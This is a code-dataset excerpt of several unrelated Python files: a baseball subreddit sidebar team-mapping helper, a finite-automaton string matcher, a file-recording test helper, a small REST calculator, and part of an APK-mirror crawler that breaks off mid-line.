\"[](/SeniorCircuit)\",\n \"4619\": \"[](/SeniorCircuit)\",\n \"4946\": \"[](/SeniorCircuit)\",\n \"4947\": \"[](/SeniorCircuit)\",\n \"235\": \"[](/MEM)\",\n \"440\": \"[](/SPR)\"\n }\n try:\n return options[team_id]\n except:\n if self.debug:\n print (\"get_Team does not exist!\")\n return None\n\n def get_team_full(self, team_id):\n options = {\n \"142\": \"[Twins](/r/minnesotatwins)\",\n \"145\": \"[White Sox](/r/WhiteSox)\",\n \"116\": \"[Tigers](/r/MotorCityKitties)\",\n \"118\": \"[Royals](/r/KCRoyals)\",\n \"114\": \"[Indians](/r/WahoosTipi)\",\n \"140\": \"[Rangers](/r/TexasRangers)\",\n \"117\": \"[Astros](/r/Astros)\",\n \"133\": \"[Athletics](/r/OaklandAthletics)\",\n \"108\": \"[Angels](/r/AngelsBaseball)\",\n \"136\": \"[Mariners](/r/Mariners)\",\n \"111\": \"[Red Sox](/r/RedSox)\",\n \"147\": \"[Yankees](/r/NYYankees)\",\n \"141\": \"[Blue Jays](/r/TorontoBlueJays)\",\n \"139\": \"[Rays](/r/TampaBayRays)\",\n \"110\": \"[Orioles](/r/Orioles)\",\n \"138\": \"[Cardinals](/r/Cardinals)\",\n \"113\": \"[Reds](/r/Reds)\",\n \"134\": \"[Pirates](/r/Buccos)\",\n \"112\": \"[Cubs](/r/CHICubs)\",\n \"158\": \"[Brewers](/r/Brewers)\",\n \"137\": \"[Giants](/r/SFGiants)\",\n \"109\": \"[D-backs](/r/azdiamondbacks)\",\n \"115\": \"[Rockies](/r/ColoradoRockies)\",\n \"119\": \"[Dodgers](/r/Dodgers)\",\n \"135\": \"[Padres](/r/Padres)\",\n \"143\": \"[Phillies](/r/Phillies)\",\n \"121\": \"[Mets](/r/NewYorkMets)\",\n \"146\": \"[Marlins](/r/letsgofish)\",\n \"120\": \"[Nationals](/r/Nationals)\",\n \"144\": \"[Braves](/r/Braves)\",\n \"21\": \"[AL](/DH-ball)\",\n \"159\": \"[AL](/DH-ball)\",\n \"4612\": \"[AL](/DH-ball)\",\n \"4614\": \"[AL](/DH-ball)\",\n \"4615\": \"[AL](/DH-ball)\",\n \"4616\": \"[AL](/DH-ball)\",\n \"4944\": \"[AL](/DH-ball)\",\n \"4945\": \"[AL](/DH-ball)\",\n \"31\": \"[NL](/SeniorCircuit)\",\n \"160\": \"[NL](/SeniorCircuit)\",\n \"2710\": \"[NL](/SeniorCircuit)/[AL](/DH-ball)\",\n \"2711\": \"[NL](/SeniorCircuit)/[AL](/DH-ball)\",\n \"4613\": \"[NL](/SeniorCircuit)\",\n \"4617\": \"[NL](/SeniorCircuit)\",\n \"4618\": \"[NL](/SeniorCircuit)\",\n \"4619\": \"[NL](/SeniorCircuit)\",\n \"4946\": \"[NL](/SeniorCircuit)\",\n \"4947\": \"[NL](/SeniorCircuit)\",\n \"235\": \"[RedBirds](/MEM)\",\n \"440\": \"[Cardinals](/SPR)\"\n }\n try:\n return options[team_id]\n except:\n if self.debug:\n print (\"get_Team does not exist!\")\n return None\n\n def get_team_code_by_team_id(self, team_id):\n options = {\n \"142\": \"min\",\n \"145\": \"cha\",\n \"116\": \"det\",\n \"118\": \"kca\",\n \"114\": \"cle\",\n \"140\": \"tex\",\n \"117\": \"hou\",\n \"133\": \"oak\",\n \"108\": \"ana\",\n \"136\": \"sea\",\n \"111\": \"bos\",\n \"147\": \"nya\",\n \"141\": \"tor\",\n \"139\": \"tba\",\n \"110\": \"bal\",\n \"138\": \"sln\",\n \"113\": \"cin\",\n \"134\": \"pit\",\n \"112\": \"chn\",\n \"158\": \"mil\",\n \"137\": \"sfn\",\n \"109\": \"ari\",\n \"115\": \"col\",\n \"119\": \"lan\",\n \"135\": \"sdn\",\n \"143\": \"phi\",\n \"121\": \"nyn\",\n \"146\": \"mia\",\n \"120\": \"was\",\n \"144\": \"atl\",\n \"235\": \"mem\",\n \"440\": \"spr\"\n }\n try:\n return options[team_id]\n except:\n if self.debug:\n print (\"Team does not exist!\")\n return None\n\n def get_team_id_by_team_code(self, team_code):\n options = {\n \"min\": \"142\",\n \"cha\": \"145\",\n \"det\": \"116\",\n \"kca\": \"118\",\n \"cle\": \"114\",\n \"tex\": \"140\",\n \"hou\": \"117\",\n \"oak\": \"133\",\n \"ana\": \"108\",\n \"sea\": \"136\",\n \"bos\": \"111\",\n \"nya\": \"147\",\n \"tor\": \"141\",\n \"tba\": \"139\",\n \"bal\": \"110\",\n \"sln\": \"138\",\n \"cin\": \"113\",\n \"pit\": \"134\",\n \"chn\": \"112\",\n \"mil\": \"158\",\n \"sfn\": \"137\",\n \"ari\": \"109\",\n \"col\": \"115\",\n \"lan\": \"119\",\n \"sdn\": \"135\",\n \"phi\": \"143\",\n \"nyn\": \"121\",\n \"mia\": \"146\",\n \"was\": \"120\",\n \"atl\": \"144\",\n \"mem\": \"235\",\n \"spr\": \"440\"\n }\n try:\n return options[team_code]\n except:\n if self.debug:\n print (\"Team does not exist!\")\n return None\n\n\n","sub_path":"src/sidebar.py","file_name":"sidebar.py","file_ext":"py","file_size_in_byte":59704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"620210945","text":"#!/usr/bin/env python\n\n\"\"\"\nFile: fa_str_matching.py\nAuthor: Hong-Wei Ng\nEmail: lightalchemist@gmail.com\nGithub: https://github.com/lightalchemist\nDescription: String matching using finite automata.\nImplementation follows closely the pseudocode given in the book\nAlgorithms Unlocked by Thomas H. Cormen.\n\"\"\"\n\n\nimport sys\nfrom collections import defaultdict\n\n\ndef build_next_state_table(pattern, charset):\n pattern_length = len(pattern)\n\n # state range from 0, 1, ..., patternlength inclusive\n next_state = [defaultdict(int) for _ in range(pattern_length + 1)]\n\n next_state[0][pattern[0]] = 1 # Only first char of pattern moves to next state.\n for k in range(1, pattern_length + 1):\n prefix_k = pattern[:k]\n for c in charset:\n pk_c = prefix_k + c\n i = min(k+1, pattern_length) # Smaller of len(pk_c) and pattern_length\n # if pattern[:i] is a suffix of pk_c then seeing char c in state k\n # will move it to state i (i.e., we have seen i consecutive chars\n # of pattern).\n # Else, keep shifting pattern to the right\n # (i.e., i -= 1) and comparing until we found a match.\n # Below is a schematic of this process:\n # ------pk_c------\n # ^-pattern[:i]----\n while not pk_c.endswith(pattern[:i]):\n i -= 1\n\n # At this point, the first i chars of pattern is suffix of pk_c\n # so seeing char c in state k will move it to state i.\n next_state[k][c] = i\n\n return next_state\n\n\ndef match(pattern, text, next_state=None):\n if next_state is None:\n charset = set(list(text))\n next_state = build_next_state_table(pattern, charset)\n\n pattern_length = len(pattern)\n state = 0\n for i, token in enumerate(text, 1):\n state = next_state[state][token]\n if state == pattern_length: # Reached end of pattern, i.e., match found.\n yield i - pattern_length # Number of chars from beginning of text.\n\n\ndef print_matches(pattern, text, matcher):\n pattern_length = len(pattern)\n print('-' * max(pattern_length, 50))\n print(\"Search pattern : {}\".format(pattern))\n print('-' * max(pattern_length, 50))\n print(\"Search text : {}\".format(text))\n print('-' * max(pattern_length, 50))\n for num_shifts in matcher:\n print(text)\n print(' '*num_shifts + '^'*pattern_length) # Prints '^' under matches.\n\n\ndef test():\n pattern = \"ACACAGA\"\n m = len(pattern)\n next_state = [defaultdict(int) for _ in range(m + 1)]\n next_state[0]['A'] = 1\n next_state[1]['A'] = 1\n next_state[1]['C'] = 2\n next_state[2]['A'] = 3\n next_state[3]['A'] = 1\n next_state[3]['C'] = 4\n next_state[4]['A'] = 5\n next_state[5]['A'] = 1\n next_state[5]['C'] = 4\n next_state[5]['G'] = 6\n next_state[6]['A'] = 7\n next_state[7]['A'] = 1\n next_state[7]['C'] = 2\n\n text = \"GTAACACAGAACACAGACGA\"\n print_matches(pattern, text, match(pattern, text))\n\n pattern = \"football\"\n text = \"luis enrique the footballer\"\n print_matches(pattern, text, match(pattern, text))\n\n\ndef print_usage():\n print(\"Given a pattern and text, find all occurrences of the pattern in the text.\")\n print(\"Usage: {} \".format(sys.argv[0]))\n\n\ndef main():\n if len(sys.argv) < 3:\n print_usage()\n return\n\n pattern, text = sys.argv[1:3]\n print_matches(pattern, text, match(pattern, text))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"algorithms/general/fa_str_matching.py","file_name":"fa_str_matching.py","file_ext":"py","file_size_in_byte":3519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"588835156","text":"# MIT License\n#\n# Copyright (c) 2018-2019 Red Hat, Inc.\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n\nimport functools\nimport logging\nimport os\nimport shutil\nfrom typing import Callable, Any, Dict\n\nfrom requre.helpers.function_output import store_function_output\nfrom requre.storage import PersistentObjectStorage, StorageCounter\nfrom requre.utils import run_command, get_if_recording, STORAGE\n\nlogger = logging.getLogger(__name__)\n\n\nclass StoreFiles(StorageCounter):\n dir_suffix = \"file_storage\"\n @classmethod\n def _get_data_dir(cls):\n cls.reset_counter_if_changed()\n additional = f\"{cls.storage_file()}.{cls.dir_suffix}\"\n output = os.path.join(cls.storage_dir(), additional)\n os.makedirs(output, mode=0o777, exist_ok=True)\n logger.debug(f\"Use data name: ${output}\")\n return output\n\n @classmethod\n def _next_directory_name(cls):\n return os.path.join(cls._get_data_dir(), str(cls.next()))\n\n @staticmethod\n def _copy_logic(\n pers_storage: PersistentObjectStorage, source: str, destination: str\n ) -> None:\n \"\"\"\n Internal function. Copy files to or back from persistent STORAGE location\n \"\"\"\n logger.debug(f\"Copy files {source} -> {destination}\")\n logger.debug(f\"Persistent Storage write mode: {pers_storage.is_write_mode}\")\n if pers_storage.is_write_mode:\n if os.path.isdir(source):\n os.makedirs(destination)\n run_command(cmd=[\"cp\", \"-drT\", source, destination])\n else:\n run_command(cmd=[\"cp\", \"-d\", source, destination])\n else:\n if os.path.isdir(destination):\n if os.path.exists(source):\n shutil.rmtree(source)\n os.makedirs(source)\n run_command(cmd=[\"cp\", \"-drTf\", destination, source])\n else:\n run_command(cmd=[\"cp\", \"-df\", destination, source])\n\n @classmethod\n def return_value(cls, func: Callable) -> Any:\n \"\"\"\n Decorator what will store return value of function/method as file and will store content\n\n \"\"\"\n\n @functools.wraps(func)\n def store_files_int(*args, **kwargs):\n if not get_if_recording():\n return func(*args, **kwargs)\n else:\n current_dir = cls._next_directory_name()\n os.makedirs(cls._get_data_dir(), exist_ok=True)\n output = store_function_output(func)(*args, **kwargs)\n cls._copy_logic(STORAGE, output, current_dir)\n return output\n\n return store_files_int\n\n @classmethod\n def guess_args(cls, func: Callable) -> Any:\n \"\"\"\n Decorator what try to guess, which arg is file or directory and store its content\n \"\"\"\n\n @functools.wraps(func)\n def store_files_int(*args, **kwargs):\n if not get_if_recording():\n return func(*args, **kwargs)\n else:\n current_dir = cls._next_directory_name()\n os.makedirs(current_dir, exist_ok=True)\n output = store_function_output(func)(*args, **kwargs)\n if STORAGE.is_write_mode:\n for position in range(len(args)):\n arg = args[position]\n if not isinstance(arg, str):\n continue\n if os.path.exists(arg):\n current_path = os.path.join(current_dir, str(position))\n cls._copy_logic(STORAGE, arg, current_path)\n for k, v in kwargs.items():\n if os.path.exists(v):\n current_path = os.path.join(current_dir, k)\n cls._copy_logic(STORAGE, v, current_path)\n else:\n for item in os.listdir(current_dir):\n current_path = os.path.join(current_dir, item)\n if item.isdigit():\n arg = args[int(item)]\n else:\n arg = kwargs[item]\n cls._copy_logic(STORAGE, arg, current_path)\n return output\n\n return store_files_int\n\n @classmethod\n def arg_references(cls, files_params: Dict) -> Any:\n \"\"\"\n Decorator what will store files or directory based on arguments,\n you have to pass name and position of arg via dict\n (be careful about counting self or cls parameteres for methods)\n eg. files_params = {\"target_dir\": 2}\n \"\"\"\n\n def store_files_int(func):\n @functools.wraps(func)\n def store_files_int_int(*args, **kwargs):\n if not get_if_recording():\n return func(*args, **kwargs)\n else:\n output = store_function_output(func)(*args, **kwargs)\n for key, position in files_params.items():\n if key in kwargs:\n param = kwargs[key]\n else:\n param = args[position]\n current_path = cls._next_directory_name()\n cls._copy_logic(STORAGE, param, current_path)\n return output\n\n return store_files_int_int\n\n return store_files_int\n","sub_path":"requre/helpers/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":6429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"67758713","text":"#!/usr/bin/python3\n\n#Version con un recurso por tipo de operacion (“/suma”, “resta”, etc.). \n#Se actualiza con PUT, que envia los operandos (ej: 4,5), se consulta con GET,\n#que devuelve el resultado (ej: 4+5=9).\n\nimport webapp\n\nclass CalculadoraRest(webapp.webApp):\n\n def parse(self, request):\n try:\n metodo = request.split(' ',2)[0]\n recurso = request.split(' ',2)[1]\n try:\n cuerpo = request.split('\\r\\n\\r\\n')[1]\n except IndexError:\n cuerpo =\"\"\n except IndexError:\n return None\n\n peticion = [metodo, recurso, cuerpo]\n return peticion\n\n def process(self, peticion):\n\n operaciones = [\"suma\", \"resta\", \"multiplicacion\", \"division\"]\n try:\n metodo = peticion[0]\n recurso = peticion[1][1:]\n cuerpo = peticion[2]\n except TypeError:\n httpCode = \"400 Bad Request\"\n htmlResp = \"Error\"\n return (httpCode, htmlResp)\n\n if metodo == \"GET\":\n try:\n result = self.result\n infoGet = self.respGet\n httpCode = \"200 OK\"\n htmlResp = \"\" + infoGet + \"\"\n except AttributeError:\n httpCode = \"400 Bad Request\"\n htmlResp = \"Introduce una operación: /suma/resta/multiplicacion\" +\\\n \"/division y añade numeros con PUT\"\n\n elif metodo == \"PUT\":\n try:\n self.num1 = float(cuerpo.split(\" \")[0])\n self.num2 = float(cuerpo.split(\" \")[1])\n except ValueError:\n httpCode = \"400 Bad Request\"\n htmlResp = \"Se introducen los numeros separados por un espacio\"\n return (httpCode, htmlResp)\n \n if recurso == operaciones[0]:\n self.result = self.num1 + self.num2\n self.respGet = \"Suma: \" + str(self.num1) + \" + \" + str(self.num2 ) + \\\n \" = \" + str(self.result)\n httpCode = \"200 OK\"\n htmlResp = \"Comprueba el resultado mediante el metodo GET\"\n \n elif recurso == operaciones[1]:\n self.result = self.num1 - self.num2\n self.respGet = \"Resta: \" + str(self.num1) + \" - \" + str(self.num2 ) + \\\n \" = \" + str(self.result)\n httpCode = \"200 OK\"\n htmlResp = \"Comprueba el resultado mediante el metodo GET\"\n \n elif recurso == operaciones[2]:\n self.result = self.num1 * self.num2\n self.respGet = \"Multiplicación: \" + str(self.num1) + \" * \" + str(self.num2 ) + \\\n \" = \" + str(self.result)\n httpCode = \"200 OK\"\n htmlResp = \"Comprueba el resultado mediante el metodo GET\"\n \n elif recurso == operaciones[3]:\n self.result = self.num1 / self.num2\n self.respGet = \"División: \" + str(self.num1) + \" / \" + str(self.num2 ) + \\\n \" = \" + str(self.result)\n httpCode = \"200 OK\"\n htmlResp = \"Comprueba el resultado mediante el metodo GET\" \n else:\n httpCode = \"404 Not Found\"\n htmlResp = \"No has dicho que operación quieres hacer\"\n\n else:\n httpCode = \"405 Method Not Allowed\"\n htmlResp = \"Metodo no admitido\"\n\n return (httpCode, htmlResp)\n\nif __name__ == \"__main__\":\n\ttestWebApp = CalculadoraRest('localhost', 1234)\n","sub_path":"calrest.py","file_name":"calrest.py","file_ext":"py","file_size_in_byte":3876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"446923975","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# http://sangaline.com/post/advanced-web-scraping-tutorial/\n#\n\nimport os\nimport sys\nimport inspect\nimport resource\nimport base64\n\nfrom requests.auth import HTTPBasicAuth\n\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(currentdir)\nsys.path.insert(0, parentdir)\n\nimport datetime\nimport hashlib\nimport requests\nimport logging\nimport coloredlogs\nimport traceback\nimport json\nimport argparse\nimport re\nimport math\nimport random\nimport time\nimport shutil\nimport multiprocessing\nimport time\nimport signal\nimport utils\nimport databaseutils\nimport collections\nimport threading\nfrom threading import Lock as Lock\nimport types\nimport Queue\nfrom blessed import Terminal\nfrom cmd2 import Cmd\nfrom evt_dequeue import EvtDequeue\nimport dbutil\n\nfrom github_base import AccessResource, RateLimitHit\nfrom database import GitHubKey, GitHubUser as GitHubUserDb, GitHubUserKeys, AndroidApkMirrorApp, AndroidApkMirrorApk\nfrom database import Base as DB_Base\nfrom sqlalchemy.orm import scoped_session\nimport sqlalchemy as salch\nfrom trace_logger import Tracelogger\n\nfrom lxml import html\nfrom collections import OrderedDict\nfrom apk_parse.apk import APK\nfrom sec_light import BigNose\n\nimport gc\nimport mem_top\nfrom pympler.tracker import SummaryTracker\nfrom collections import OrderedDict, namedtuple\nfrom cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey\nfrom cryptography.hazmat.primitives.asymmetric.dsa import DSAPublicKey\nfrom cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePublicKey\n\nlogger = logging.getLogger(__name__)\ncoloredlogs.install(level=logging.DEBUG)\n\n\nclass SkipException(Exception):\n def __init__(self, *args):\n super(SkipException, self).__init__(*args)\n\n\nclass AndroidApp(object):\n \"\"\"\n Android App model\n \"\"\"\n def __init__(self, id=None, model=None, data=None):\n self.id = id\n self.model = model\n self.data = data if data is not None else collections.OrderedDict()\n\n def to_json(self):\n js = collections.OrderedDict()\n js['id'] = self.id\n js['model'] = self.model\n js['data'] = self.data\n return js\n\n @classmethod\n def from_json(cls, js):\n tj = cls()\n tj.id = js['id']\n tj.model = js['model']\n tj.data = js['data']\n return tj\n\n\nclass DownloadJob(object):\n \"\"\"\n Represents link to download\n \"\"\"\n\n TYPE_PAGE = 1\n TYPE_DETAIL = 2\n TYPE_DOWNLOAD = 3\n TYPE_APK = 4\n\n __slots__ = ['url', 'type', 'app', 'fail_cnt', 'last_fail', 'priority', 'time_added']\n\n def __init__(self, url=None, jtype=TYPE_PAGE, app=None, priority=0, time_added=None, *args, **kwargs):\n self.url = url\n self.type = jtype\n self.app = app\n self.fail_cnt = 0\n self.last_fail = 0\n self.priority = priority\n self.time_added = time.time() if time_added is None else time_added\n\n def to_json(self):\n js = collections.OrderedDict()\n js['url'] = self.url\n js['type'] = self.type\n js['fail_cnt'] = self.fail_cnt\n js['last_fail'] = self.last_fail\n js['priority'] = self.priority\n js['time_added'] = self.time_added\n if self.app is not None:\n js['app'] = self.app.to_json()\n return js\n\n @classmethod\n def from_json(cls, js):\n tj = cls()\n tj.url = js['url']\n tj.type = js['type']\n tj.fail_cnt = js['fail_cnt']\n tj.last_fail = js['last_fail']\n tj.priority = utils.defvalkey(js, 'priority', 0)\n tj.time_added = utils.defvalkey(js, 'time_added', 0)\n if 'app' in js:\n tj.app = AndroidApp.from_json(js['app'])\n return tj\n\n @staticmethod\n def cmp(self, other):\n \"\"\"\n Comparator\n :param self:\n :param other:\n :return:\n \"\"\"\n # Inside the category: fail cnt, time added.\n if self.type == other.type:\n if self.fail_cnt == other.fail_cnt:\n if self.time_added == other.time_added:\n return int(other.priority - self.priority)\n else:\n return int(self.time_added - other.time_added)\n else:\n return int(self.fail_cnt - other.fail_cnt)\n else:\n # Outside the category - priority ordering. Higher the priority, sooner will be picked\n if self.priority == other.priority:\n return int(self.time_added - other.time_added)\n else:\n return int(other.priority - self.priority)\n\n def __cmp__(self, other):\n \"\"\"\n Compare operation for priority queue.\n :param other:\n :return:\n \"\"\"\n return self.cmp(self, other)\n\n\nclass AndroidApkLoader(Cmd):\n \"\"\"\n Android APK crawler\n \"\"\"\n prompt = '$> '\n\n LINK_FACTOR = 70\n PAGE_URL = 'https://www.apkmirror.com/page/%s/'\n\n def __init__(self, attempts=5, threads=1, state=None, state_file=None, config_file=None, audit_file=None,\n max_mem=None, merge=False, num_res=1, cmd_args=None, *args, **kwargs):\n\n Cmd.__init__(self, *args, **kwargs)\n self.t = Terminal()\n self.trace_logger = Tracelogger(logger=logger)\n self.big_nose = BigNose()\n\n self.args = cmd_args\n self.apk_dir = self.args.apk_dir\n\n self.attempts = int(attempts)\n self.total = None\n self.terminate = False\n self.since_id = 1\n self.last_users_count = None\n self.user_lock = Lock()\n self.processed_user_set = set()\n self.processed_user_set_lock = Lock()\n\n self.max_mem = max_mem\n self.merge = merge\n\n self.users_per_page = 30\n self.users_bulk_load_pages = 500\n self.user_load_bulk = 5000\n self.user_refill_lock = Lock()\n self.state = state\n self.state_file_path = state_file\n self.rate_limit_reset = None\n self.rate_limit_remaining = None\n\n self.config = None\n self.config_file = config_file\n\n self.audit_file = audit_file\n self.audit_records_buffered = []\n self.audit_lock = Lock()\n\n self.stop_event = threading.Event()\n self.num_res = num_res\n self.threads = int(threads)\n self.link_queue = Queue.PriorityQueue() # Store links to download here\n self.worker_threads = []\n\n self.state_thread = None\n self.state_thread_lock = Lock()\n\n self.resources_list = []\n self.resources_queue = Queue.PriorityQueue()\n self.local_data = threading.local()\n\n self.new_apps_events = EvtDequeue()\n self.new_apks_events = EvtDequeue()\n\n self.db_config = None\n self.engine = None\n self.session = None\n\n self.mem_tracker = None\n\n def signal_handler(self, signal, frame):\n \"\"\"\n Signal handler - terminate gracefully\n :param signal:\n :param frame:\n :return:\n \"\"\"\n logger.info('CTRL+C pressed')\n self.trigger_stop()\n\n def trigger_stop(self):\n \"\"\"\n Sets terminal conditions to true\n :return:\n \"\"\"\n self.terminate = True\n self.stop_event.set()\n\n def trigger_quit(self):\n \"\"\"\n Terminal condition & file change\n :return:\n \"\"\"\n self.trigger_stop()\n utils.try_touch('.android-quit')\n\n def can_run(self):\n \"\"\"\n Safe to run?\n :return:\n \"\"\"\n return not self.stop_event.is_set() and not self.terminate\n\n #\n # CMD handlers\n #\n\n def do_quit(self, arg):\n self.trigger_quit()\n logger.info('Waiting for thread termination')\n\n time.sleep(1)\n logger.info('Quitting')\n return Cmd.do_quit(self, arg)\n\n def do_reset(self, line):\n print('\\033c')\n\n def do_gc(self, line):\n gc.collect()\n\n def do_mem_top(self, line):\n print(mem_top.mem_top())\n\n def do_mem_track_init(self, line):\n self.mem_tracker = SummaryTracker()\n\n def do_mem_track_diff(self, line):\n print(self.mem_tracker.print_diff())\n\n def do_mem_track_deinit(self, line):\n self.mem_tracker = None\n\n def do_mem(self, line):\n print('Memory usage: %s kB' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss)\n\n def do_state(self, line):\n js = self.state_gen()\n\n if line is None or len(line) == 0:\n del js['link_queue']\n del js['resource_stats']\n elif line == '1':\n del js['link_queue']\n\n print(json.dumps(js, indent=2, cls=utils.AutoJSONEncoder))\n\n def do_deq_enable(self, line):\n self.new_apks_events.disabled = False\n self.new_apps_events.disabled = False\n\n def do_deq_disable(self, line):\n self.new_apks_events.disabled = True\n self.new_apps_events.disabled = True\n\n #\n # Init\n #\n\n def init_config(self):\n \"\"\"\n Loads config & state files\n :return:\n \"\"\"\n if self.state_file_path is not None and os.path.exists(self.state_file_path):\n with open(self.state_file_path, 'r') as fh:\n self.state = json.load(fh, object_pairs_hook=OrderedDict)\n logger.info('State loaded: %s' % os.path.abspath(self.state_file_path))\n\n with open(self.config_file, 'r') as fh:\n self.config = json.load(fh, object_pairs_hook=OrderedDict)\n logger.info('Config loaded: %s' % os.path.abspath(self.config_file))\n\n if 'since_id' in self.config:\n self.since_id = self.config['since_id']\n\n for i in range(self.num_res):\n r = AccessResource(usr=None, token=None)\n self.resources_list.append(r)\n self.resources_queue.put(r)\n\n def init_db(self):\n \"\"\"\n Initializes database engine & session.\n Has to be done on main thread.\n :return:\n \"\"\"\n self.db_config = databaseutils.process_db_config(self.config['db'])\n\n from sqlalchemy import create_engine\n from sqlalchemy.orm import sessionmaker, scoped_session\n self.engine = create_engine(self.db_config.constr, pool_recycle=3600)\n self.session = scoped_session(sessionmaker(bind=self.engine))\n\n # Make sure tables are created\n DB_Base.metadata.create_all(self.engine)\n\n def init_workers(self):\n \"\"\"\n Initialize worker threads\n :return:\n \"\"\"\n logger.info('Starting %d working threads' % self.threads)\n for idx in range(self.threads):\n t = threading.Thread(target=self.work_thread_main, args=(idx, ))\n self.worker_threads.append(t)\n\n # Kick-off all threads\n for t in self.worker_threads:\n t.start()\n\n logger.info('Worker threads started')\n\n def cli(self):\n \"\"\"\n CLI thread\n :return:\n \"\"\"\n logger.info('CLI thread started')\n self.cmdloop()\n logger.info('Terminating CLI thread')\n\n #\n # Operation\n #\n\n def work(self):\n \"\"\"\n Main thread work method\n :return:\n \"\"\"\n # Interrupt signals\n signal.signal(signal.SIGINT, self.signal_handler)\n\n self.init_config()\n self.init_db()\n\n # Resume last state\n self.state_resume()\n\n # Monitor threads.\n self.state_thread = threading.Thread(target=self.state_main, args=())\n self.state_thread.start()\n\n # If there is no link to process - create from since.\n if self.link_queue.qsize() == 0:\n self.kickoff_links()\n\n # Worker threads\n self.init_workers()\n\n logger.info('Main thread started %s %s %s' % (os.getpid(), os.getppid(), threading.current_thread()))\n\n # CLI thread\n cli_thread = threading.Thread(target=self.cli, args=())\n cli_thread.setDaemon(True)\n cli_thread.start()\n\n # Join on workers\n self.after_loop()\n logger.info('Terminating main thread')\n return None\n\n def after_loop(self, wait_for_state=True):\n \"\"\"\n After work loop finishes\n :return:\n \"\"\"\n logger.info('Waiting termination of slave threads')\n\n # Wait here for termination of all workers and monitors.\n try:\n for t in self.worker_threads:\n t.join()\n\n if wait_for_state:\n self.state_thread.join()\n except Exception as e:\n logger.error('Exception during thread join')\n self.trace_logger.log(e)\n\n logger.info('All threads terminates, last state save')\n self.state_save()\n\n def work_thread_main(self, idx):\n \"\"\"\n Worker thread main loop\n :return:\n \"\"\"\n self.local_data.idx = idx\n logger.info('Working thread %d started' % idx)\n\n while not self.terminate and not self.stop_event.is_set():\n self.interruptible_sleep_delta(0.1)\n\n # Get credential to process link with\n resource = self.resource_allocate()\n if resource is None:\n continue\n\n # We have resource, now get the job\n job = None\n try:\n job = self.link_queue.get(True, timeout=1.0)\n except Queue.Empty:\n self.resource_return(resource)\n continue\n\n # If job last fail is too recent - put again back to queue\n if time.time() - job.last_fail < 3.0:\n self.link_queue.put(job) # re-insert to the back of the queue for later processing\n self.resource_return(resource)\n continue\n\n # Job processing starts here - fetch data page with the resource.\n ret_data = None\n try:\n self.local_data.s = None\n self.local_data.job = job\n self.local_data.resource = resource\n ret_data, headers, raw_response = self.load_page_local()\n\n except RateLimitHit as e:\n logger.error('[%d] Rate limit hit: %s, failcnt: %d, res: %s, exception: %s'\n % (idx, job.url, job.fail_cnt, resource.usr, e))\n continue\n\n except Exception as e:\n logger.error('[%d] Exception in processing job: %s, failcnt: %d, res: %s, exception: %s'\n % (idx, job.url, job.fail_cnt, resource.usr, e))\n\n self.on_job_failed(job)\n continue\n\n finally:\n self.resource_return(resource)\n self.local_data.resource = None\n self.local_data.last_usr = resource.usr\n self.local_data.last_remaining = resource.remaining\n\n # Process downloaded data here.\n try:\n if ret_data is None:\n self.audit_log('404', job.url, jtype=job.type, job=job)\n self.flush_audit()\n continue\n\n self.local_data.s = self.session()\n\n if job.type == DownloadJob.TYPE_PAGE:\n self.process_page_data(job, ret_data, headers, raw_response)\n elif job.type == DownloadJob.TYPE_DETAIL:\n self.process_detail_data(job, ret_data, headers, raw_response)\n elif job.type == DownloadJob.TYPE_DOWNLOAD:\n self.process_download_data(job, ret_data, headers, raw_response)\n elif job.type == DownloadJob.TYPE_APK:\n self.process_apk_data(job, ret_data, headers, raw_response)\n else:\n raise Exception('Unknown job type: ' + job.type)\n\n except SkipException as ae:\n pass\n\n except Exception as e:\n logger.error('[%d] Unexpected exception, processing type %s, link %s: cnt: %d, res: %s, %s'\n % (idx, job.type, job.url, job.fail_cnt, resource.usr, e))\n\n self.trace_logger.log(e)\n self.on_job_failed(job)\n\n finally:\n utils.silent_expunge(self.local_data.s)\n utils.silent_close(self.local_data.s)\n self.local_data.s = None\n self.local_data.resource = None\n self.local_data.job = None\n self.local_data.last_usr = None\n self.local_data.last_remaining = None\n resource = None\n job = None\n headers = None\n raw_response = None\n\n self.interruptible_sleep_delta(2)\n\n pass\n logger.info('Terminating worker thread %d' % idx)\n\n def on_job_failed(self, job):\n \"\"\"\n If job failed, this teaches it how to behave\n :param job:\n :return:\n \"\"\"\n job.fail_cnt += 1\n job.last_fail = time.time()\n\n # if failed too many times - log and discard.\n if job.fail_cnt > 35:\n logger.warning('Job failed too many times %s' % job.url)\n self.audit_log('too-many-fails', job.url, jtype=job.type, job=job)\n self.flush_audit()\n else:\n self.link_queue.put(job) # re-insert to the queue for later processing\n\n def load_page_local(self):\n \"\"\"\n Loads page stored in thread local\n :return:\n \"\"\"\n\n auth = None\n resource = self.local_data.resource\n if resource.usr 